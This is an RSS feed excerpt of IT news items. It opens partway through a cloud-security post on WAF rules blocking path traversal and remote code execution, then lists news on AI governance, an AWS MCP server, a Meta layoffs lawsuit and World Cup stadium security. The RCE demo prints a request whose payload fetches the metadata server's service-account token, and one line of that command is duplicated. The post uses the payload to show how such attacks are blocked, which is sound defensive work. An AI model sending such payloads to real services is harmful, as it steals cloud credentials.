<p><span><span>Figure 8: Verification of Cloud Armor blocking path traversal request, resulting in a 403 forbidden</span></span></p></div>
<div class="block-paragraph_advanced"><h4><span>Remote Code Execution</span></h4>
<p><span>The </span><code>rce-v33-stable</code><span> preconfigured WAF rules can block remote code execution attempts (</span><a href="https://docs.cloud.google.com/armor/docs/waf-rules#remote_code_execution_rce"><span>remote code execution reference</span></a><span>).</span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>evaluatePreconfiguredWaf('rce-v33-stable', {'sensitivity': 3})</code></pre>
<p><span><span>Figure 9: Cloud Armor rce-v33-stable WAF rule configuration</span></span></p></div>
<div class="block-paragraph_advanced"><p><span>Blocking the remote code execution request from the previous example results in a 403 forbidden:</span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>curl -X POST https://exampleabc01.com -H "Contencurl -X POST https://exampleabc01.com -H "Content-Type: application/json" -d "{\"input\": \"curl 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token' -H 'Metadata-Flavor: Google'\"}"
&lt;!doctype html&gt;&lt;meta charset="utf-8"&gt;&lt;meta name=viewport content="width=device-width, initial-scale=1"&gt;&lt;title&gt;403&lt;/title&gt;403 Forbidden</code></pre>
<p><span><span>Figure 10: Verification of Cloud Armor blocking Remote Code execution, resulting in a 403 forbidden</span></span></p></div>
<div class="block-paragraph_advanced"><h4><span>Serverless Architecture Controls</span></h4>
<p><span>Hardening Cloud Run services is only one part of a secure architecture. Because these services often connect to other Google Cloud resources, a single compromise can expose additional services. Implementing defense-in-depth is critical. Specifically, when using direct VPC egress or VPC Access connectors, use VPC Service Controls to restrict lateral movement and exfiltration through granular access policies.</span></p>
<h4><span>Secure Software Development Lifecycle (S-SDLC)</span></h4>
<p><span>While the previously outlined hardening strategies are critical, the ideal standard remains the proactive identification of vulnerabilities during the initial development stages. A deep dive into "Shift-Left" security is beyond the scope of this analysis, which focuses on mitigating risks within existing code. However, a Secure Software Development Lifecycle (S-SDLC) remains a fundamental principle. Robust code validation and continuous security testing are essential to neutralize threats before serverless functions are published externally.</span></p>
<h4><span>Cloud Run Threat Detection</span></h4>
<p><span>Beyond the hardening recommendations outlined in this post, </span><a href="https://cloud.google.com/security/products/security-command-center"><span>Google Cloud Security Command Center (SCC)</span></a><span> provides built-in services to detect control plane attacks against Cloud Run resources. These include detectors for credential access, reconnaissance, and the execution of scripts or reverse shells. The </span><a href="https://docs.cloud.google.com/security-command-center/docs/cloud-run-threat-detection-overview"><span>Cloud Run Threat Detection</span></a><span> service is available for Premium and Enterprise tiers.</span></p>
<h3><span>Conclusion</span></h3>
<p><span>Serverless applications drive agility and rapid business value. While "vibe-coding" has made it easier than ever to deploy code, this breakneck speed demands that teams integrate security early in the development lifecycle, move beyond default configurations, and prioritize a defense-in-depth strategy centered on identity and architecture. </span></p>
<h3><span>Acknowledgements</span></h3>
<p><span>This analysis would not have been possible without the assistance of Ischa Rijff, Phil Pearce, and Juraj Sucik.</span></p></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[LatticeFlow AI connects governance frameworks with continuous AI risk monitoring]]></title>
<description><![CDATA[LatticeFlow AI has announced a platform for managing AI risk across agentic systems. Organizations are deploying autonomous AI in critical business processes, while governance approaches based on documentation and point-in-time assessments struggle to keep up with evolving risks. The LatticeFlow…...]]></description>
<link>https://tsecurity.de/de/3670688/it-security-nachrichten/latticeflow-ai-connects-governance-frameworks-with-continuous-ai-risk-monitoring/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670688/it-security-nachrichten/latticeflow-ai-connects-governance-frameworks-with-continuous-ai-risk-monitoring/</guid>
<pubDate>Wed, 15 Jul 2026 14:50:48 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>LatticeFlow AI has announced a platform for managing AI risk across agentic systems. Organizations are deploying autonomous AI in critical business processes, while governance approaches based on documentation and point-in-time assessments struggle to keep up with evolving risks. The LatticeFlow…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/latticeflow-ai-connects-governance-frameworks-with-continuous-ai-risk-monitoring/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/latticeflow-ai-connects-governance-frameworks-with-continuous-ai-risk-monitoring/">LatticeFlow AI connects governance frameworks with continuous AI risk monitoring</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Quelloffener MCP-Server von AWS beschleunigt Forschung]]></title>
<description><![CDATA[Mit einem quelloffenen MCP-Server will AWS die KI-gestützte Suche nach Forschungsergebnissen vereinfachen.
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Auf dem UN-Gipfel „AI for Good“ in Genf hat Amazon Web Services (AWS) eine technologische Brücke vorgestellt, die die wissenschaftliche Arbeit revolutionieren kön...]]></description>
<link>https://tsecurity.de/de/3670664/it-security-nachrichten/quelloffener-mcp-server-von-aws-beschleunigt-forschung/</link>
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<pubDate>Wed, 15 Jul 2026 14:38:02 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/shutterstock_2661455173_16_9.jpg?quality=50&amp;strip=all&amp;w=1024" alt="AI" class="wp-image-4197329" width="1024" height="576" sizes="(max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Mit einem quelloffenen MCP-Server will AWS die KI-gestützte Suche nach Forschungsergebnissen vereinfachen.</p>
</figcaption></figure><p class="imageCredit">hafakot/Shutterstock.com</p></div>



<p class="wp-block-paragraph">Auf dem UN-Gipfel „<a href="https://aiforgood.itu.int/">AI for Good</a>“ in Genf hat Amazon Web Services (AWS) eine technologische Brücke vorgestellt, die die wissenschaftliche Arbeit revolutionieren könnte. Ein neuer, quelloffener Server auf Basis des <a href="https://www.computerwoche.de/article/4031227/was-ist-model-context-protocol.html?">Model Context Protocol (MCP)</a> verbindet KI-Assistenten direkt mit der <a href="https://www.computerwoche.de/article/4153009/mcp-registry-aufbauen-so-gehts.html?">Registry of Open Data (RODA)</a> auf AWS.</p>



<p class="wp-block-paragraph">RODA ist eine der weltweit größten Sammlungen frei zugänglicher Forschungsdaten. Sie umfasst über 1.100 Datensätze von mehr als 400 Organisationen, darunter Schwergewichte wie die NASA, die <a href="https://www.noaa.gov/">NOAA</a> und die National Institutes of Health (NIH).</p>



<h2 class="wp-block-heading">Natürliche Sprache statt kryptischer Befehle</h2>



<p class="wp-block-paragraph">Damit will AWS eine Demokratisierung des Datenzugangs einläuten. Forscher müssen keine Experten für Datenbankstrukturen oder Cloud-Speicher (wie Amazon S3) mehr sein. Stattdessen können sie, wie es heißt, Coding-Assistenten wie <a href="https://www.computerwoche.de/article/4175182/4-tools-fur-spec-driven-development.html?utm=hybrid_search">Kiro</a> oder <a href="https://code.claude.com/docs">Claude Code</a> nutzen, um ihre Fragen in natürlicher Sprache zu stellen.</p>



<p class="wp-block-paragraph">So soll eine Anfrage wie „Welche Satellitenbilddaten gibt es zur Überwachung von Entwaldung?“ ausreichen, um sofort präzise Ergebnisse inklusive Beschreibungen und Datenvorschauen zu erhalten. Dabei fungiert der MCP-Server als intelligenter Vermittler, der den gesamten Katalog durchsucht, Metadaten inspiziert und sogar Dateiinhalte stichprobenartig prüft, um die Eignung für ein Projekt zu bewerten.</p>



<p class="wp-block-paragraph">Auch Deutschland ist bereits stark in diesem Ökosystem vertreten. Organisationen wie die Audi AG, das Helmholtz-Zentrum Hereon und der Max-Planck-Campus Tübingen stellen bereits Datensätze zur Verfügung.</p>



<h2 class="wp-block-heading">Einsatzszenarien</h2>



<p class="wp-block-paragraph">Ein entscheidender Aspekt der Initiative ist der Open-Source-Gedanke. Der MCP-Server steht unter der Apache-2.0-Lizenz frei auf GitHub zur Verfügung. Damit haben Forscher weltweit – unabhängig von der Größe oder den finanziellen Ressourcen ihrer Institution – Zugriff auf dieselben mächtigen Werkzeuge wie Elite-Universitäten.</p>



<p class="wp-block-paragraph">Laut AWS unterstützt das Tool zentrale Forschungsfelder wie:</p>



<ul class="wp-block-list">
<li>die Nachverfolgung von Krankheitsausbrüchen;</li>



<li>das Monitoring von Biodiversitätsverlusten;</li>



<li>die Genomforschung und Biowissenschaften; oder</li>



<li>die Modellierung des Meeresspiegelanstiegs.</li>
</ul>



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<title><![CDATA[LatticeFlow AI connects governance frameworks with continuous AI risk monitoring]]></title>
<description><![CDATA[LatticeFlow AI has announced a platform for managing AI risk across agentic systems. Organizations are deploying autonomous AI in critical business processes, while governance approaches based on documentation and point-in-time assessments struggle to keep up with evolving risks. The LatticeFlow ...]]></description>
<link>https://tsecurity.de/de/3670610/it-security-nachrichten/latticeflow-ai-connects-governance-frameworks-with-continuous-ai-risk-monitoring/</link>
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<pubDate>Wed, 15 Jul 2026 14:23:42 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>LatticeFlow AI has announced a platform for managing AI risk across agentic systems. Organizations are deploying autonomous AI in critical business processes, while governance approaches based on documentation and point-in-time assessments struggle to keep up with evolving risks. The LatticeFlow AI Platform links AI governance frameworks with technical controls to continuously generate evidence and translate evaluation results into risk insights, helping organizations assess AI systems and support governance decisions. The platform combines AI discovery, evaluation, … <a href="https://www.helpnetsecurity.com/2026/07/15/latticeflow-ai-platform/" rel="nofollow">More <span class="meta-nav">→</span></a></p>
<p>The post <a href="https://www.helpnetsecurity.com/2026/07/15/latticeflow-ai-platform/">LatticeFlow AI connects governance frameworks with continuous AI risk monitoring</a> appeared first on <a href="https://www.helpnetsecurity.com/">Help Net Security</a>.</p>]]></content:encoded>
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<title><![CDATA[Withings' new ultra-premium scale goes on sale today]]></title>
<description><![CDATA[Withings' new $600 bathroom scale promising clinical-grade monitoring is finally available to buy.]]></description>
<link>https://tsecurity.de/de/3670455/it-nachrichten/withings-new-ultra-premium-scale-goes-on-sale-today/</link>
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<pubDate>Wed, 15 Jul 2026 13:18:11 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Withings' new $600 bathroom scale promising clinical-grade monitoring is finally available to buy.]]></content:encoded>
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<title><![CDATA[Meta used a ‘constellation of internal artificial intelligence systems’ to target workers in recent layoffs, lawsuit claims – keystroke monitoring data, AI token usage, and performance ratings allegedly decided employee fates]]></title>
<description><![CDATA[Former Meta employees allege that an AI system used to select people for layoffs was biased]]></description>
<link>https://tsecurity.de/de/3670419/it-security-nachrichten/meta-used-a-constellation-of-internal-artificial-intelligence-systems-to-target-workers-in-recent-layoffs-lawsuit-claims-keystroke-monitoring-data-ai-token-usage-and-performance-ratings-allegedly-decided-employee-fates/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670419/it-security-nachrichten/meta-used-a-constellation-of-internal-artificial-intelligence-systems-to-target-workers-in-recent-layoffs-lawsuit-claims-keystroke-monitoring-data-ai-token-usage-and-performance-ratings-allegedly-decided-employee-fates/</guid>
<pubDate>Wed, 15 Jul 2026 13:09:16 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Former Meta employees allege that an AI system used to select people for layoffs was biased]]></content:encoded>
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<title><![CDATA[When 80,000 fans log on at once: The 2026 World Cup’s unique cybersecurity issues]]></title>
<description><![CDATA[With the World Cup in full swing, stadiums across North America are currently accommodating thousands of fans every match day. That said, the stadiums’ biggest security challenge isn’t of a physical nature.



It is not hyperbolic to say that football stadiums are some of the most chaotic endpoin...]]></description>
<link>https://tsecurity.de/de/3670247/it-security-nachrichten/when-80000-fans-log-on-at-once-the-2026-world-cups-unique-cybersecurity-issues/</link>
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<pubDate>Wed, 15 Jul 2026 12:08:38 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">With the World Cup in full swing, stadiums across North America are currently accommodating thousands of fans every match day. That said, the stadiums’ biggest <a href="https://www.networkworld.com/article/731234/security-world-cup-security-preparing-for-the-unexpected.html"></a>security challenge isn’t of a physical nature.</p>



<p class="wp-block-paragraph">It is not hyperbolic to say that football stadiums are some of the most chaotic endpoint environments in enterprise IT. On game days, tens of thousands of unmanaged, unknown devices connect to <a href="https://stadiumtechreport.com/editorial/stadium-networks-are-about-to-get-more-complicated/"></a>stadium networks, alongside payment systems, digital displays, operations platforms and venue staff devices. This creates a massive attack surface with a potential for serious disruptions, such as payment outages at concessions, delays in live streaming and interruptions to other venue operations.</p>



<p class="wp-block-paragraph">In this article, we’ll examine the World Cup stadiums’ unique cyber environments, while also providing steps that venues can take to harden their connectivity and ensure that their networks are protected.</p>



<h2 class="wp-block-heading">For World Cup stadiums, real-time visibility is far more important than device control</h2>



<p class="wp-block-paragraph">Given that stadiums like Dallas’s AT&amp;T Stadium, Mexico City’s Estadio Azteca and New Jersey’s MetLife Stadium can all accommodate over 80,000 soccer fans per game, it is impossible to control all these fans’ devices. Hence, network segmentation and real-time visibility are key. <strong></strong></p>



<p class="wp-block-paragraph">The fan-device layer obviously must remain entirely separate from the payment systems and operational infrastructure. All fan devices need to be relegated to the public WiFi, and treated as hostile by default. Although this segmentation is technically a form of device control, real-time visibility is truly the only way to maintain a <a href="https://insights.manageengine.com/it-security/zero-trust-maturity-model/"></a>Zero Trust environment within these stadiums.</p>



<h2 class="wp-block-heading">Continuous monitoring across networks, endpoints and identity systems is vital</h2>



<p class="wp-block-paragraph">To achieve a Zero Trust architecture inside these massive football venues, it is important to have identity-centric zero-trust solutions firmly in place. <em></em></p>



<p class="wp-block-paragraph">With so many vendors, stadium personnel and operations workers requiring different levels of access to different systems, a robust identity security solution is crucial. All <a href="https://redmondmag.com/articles/2026/07/08/why-the-2026-world-cup-is-becoming-a-cybersecurity-stress-test.aspx">modern football stadiums</a> require adaptive MFA, single sign-on, and conditional access based on users’ roles, locations, time of access request and device type. <em></em></p>



<p class="wp-block-paragraph">Without a robust identity access tool in place, a bad actor could compromise a single user’s credentials and gain access to payment systems or other operational technologies within the stadium.<em></em></p>



<p class="wp-block-paragraph">Besides an effective identity security tool, stadiums require network visibility and endpoint protection. All operational endpoints inside the arenas, including point-of-sale terminals, digital displays and staff devices, need to be managed and monitored via a robust endpoint management platform. With such a tool, IT teams can correlate telemetry across all network activity, which helps them to isolate compromised devices before a bad actor can execute malicious lateral movements.</p>



<p class="wp-block-paragraph">With real-time traffic visibility, IT personnel can detect anomalies, monitor network performance across all segments and receive alerts whenever unusual traffic patterns emerge. Although stadiums can’t control 80,000 fan devices per se, empowered IT workers can observe everything from the network level.</p>



<h2 class="wp-block-heading">Automation can help to ensure timely patching and audit readiness</h2>



<p class="wp-block-paragraph">A unified log management and security analytics tool is vital in the World Cup setting. During a high-stakes event like the World Cup, SIEM platforms pull real-time logs from all the devices, endpoints, applications on the network.<strong></strong></p>



<p class="wp-block-paragraph">By using an effective patch management software in conjunction with a SIEM platform with automated alerts, stadium IT personnel can automatically patch hundreds of endpoints, while also accelerating incident response time.</p>



<p class="wp-block-paragraph">The very best SIEM tools will also use behavioral analytics to conduct real-time threat detection; if any anomalous activity is flagged on the network, automated alerts are triggered and incident response workflows will commence.</p>



<p class="wp-block-paragraph">SIEM tools also help when it comes to building out compliance reports and maintaining audit readiness. The IT departments inside these enormous football stadiums require a host of different <a href="https://www.csoonline.com/article/4108294/implementing-nis2-without-ending-up-in-a-paper-war.html"></a>compliance reporting capabilities, including PCI-DSS for stadium payment systems, SOC 2 compliance for third-party vendors handling fan data, ticketing and other operations, as well as <a href="https://www.networkworld.com/article/965408/are-you-ready-for-the-gdpr-in-may.html">GDPR compliance</a> for loyalty programs, identity verification, WiFi registration and any biometric data captured within the stadium.</p>



<h2 class="wp-block-heading">Key steps that stadium IT personnel should take during the World Cup</h2>



<p class="wp-block-paragraph">Firstly, a Zero Trust environment should be maintained inside all the stadiums. The 2026 World Cup contains far more integrated technologies than ever before. Today’s in-stadium technologies are borderline futuristic; referees wear <a href="https://www.wired.com/story/world-cup-referee-body-cameras-live/"></a>body cameras, and there is even motion sensors embedded inside all <a href="https://inside.fifa.com/innovation/innovating-the-game/connected-ball-technology"></a>World Cup game balls. Given this ultra-high-tech environment, all users, APIs and devices need to be continuously authenticated and treated as hostile-by-default.</p>



<p class="wp-block-paragraph">Secondly, in such a high-stakes, highly integrated environment, real-time monitoring and centralized visibility is crucial. With centralized visibility across the network, IT personnel can effectively conduct deep traffic flow analyses, identifying which devices are attempting to communicate with which systems. This way, all lateral movement attempts can be identified, and any fan-device that tries to reach a payment or operational technology segment can be flagged.</p>



<p class="wp-block-paragraph">Thirdly, IT teams should conduct incident simulations. Given the complex environment of broadcasting infrastructure, digital ticketing systems, POS, WiFi and commercial cellular networks, it is vital that IT personnel test their incident response processes to ensure they avoid service disruptions and prevent data leaks during matches.</p>



<h2 class="wp-block-heading">The bottom line: The 2026 World Cup stadiums require robust cybersecurity solutions</h2>



<p class="wp-block-paragraph">From a cybersecurity perspective, <a href="https://www.cio.com/article/4190097/the-ai-selected-to-give-the-fifa-world-cup-an-edge.html"></a>the 2026 World Cup is a unique event. With matches taking place across sixteen different cities in three different countries (not to mention the currently heightened geopolitical tensions), there is a strong potential for state-backed cybercriminals and hacktivist groups to target stadium infrastructure.<br>It is vital that stadium IT personnel are equipped with adequate cyber solutions, including robust SIEM, IAM, patch management and network management tools. There’s no reason to give bad actors a free kick.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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